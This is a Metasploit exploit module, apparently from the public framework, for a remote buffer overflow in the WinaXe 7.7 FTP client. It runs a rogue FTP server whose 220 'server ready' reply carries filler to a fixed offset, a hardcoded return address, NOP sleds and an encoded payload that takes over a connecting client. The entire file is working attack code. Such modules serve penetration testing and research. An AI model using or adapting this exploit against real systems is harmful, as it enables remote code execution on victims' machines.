winaxe_server_ready.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::FtpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WinaXe 7.7 FTP Client Remote Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in the WinaXe 7.7 FTP client.
          This issue is triggered when a client connects to the server and is
          expecting the Server Ready response.
        },
        'Author' => [
          'Chris Higgins', # msf Module -- @ch1gg1ns
          'hyp3rlix' # Original discovery
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2025-34107' ],
          [ 'EDB', '40693'],
          [ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00\x0a\x0d"
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows Universal',
            {
              'Offset' => 2065,
              'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2016-11-03',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def on_client_unknown_command(c, _cmd, _arg)
    c.put("200 OK\r\n")
  end

  def on_client_connect(c)
    print_status("Client connected...")

    sploit = rand_text(target['Offset'])
    sploit << [target.ret].pack('V')
    sploit << make_nops(10)
    sploit << payload.encoded
    sploit << make_nops(20)

    c.put("220" + sploit + "\r\n")
    c.close
  end
end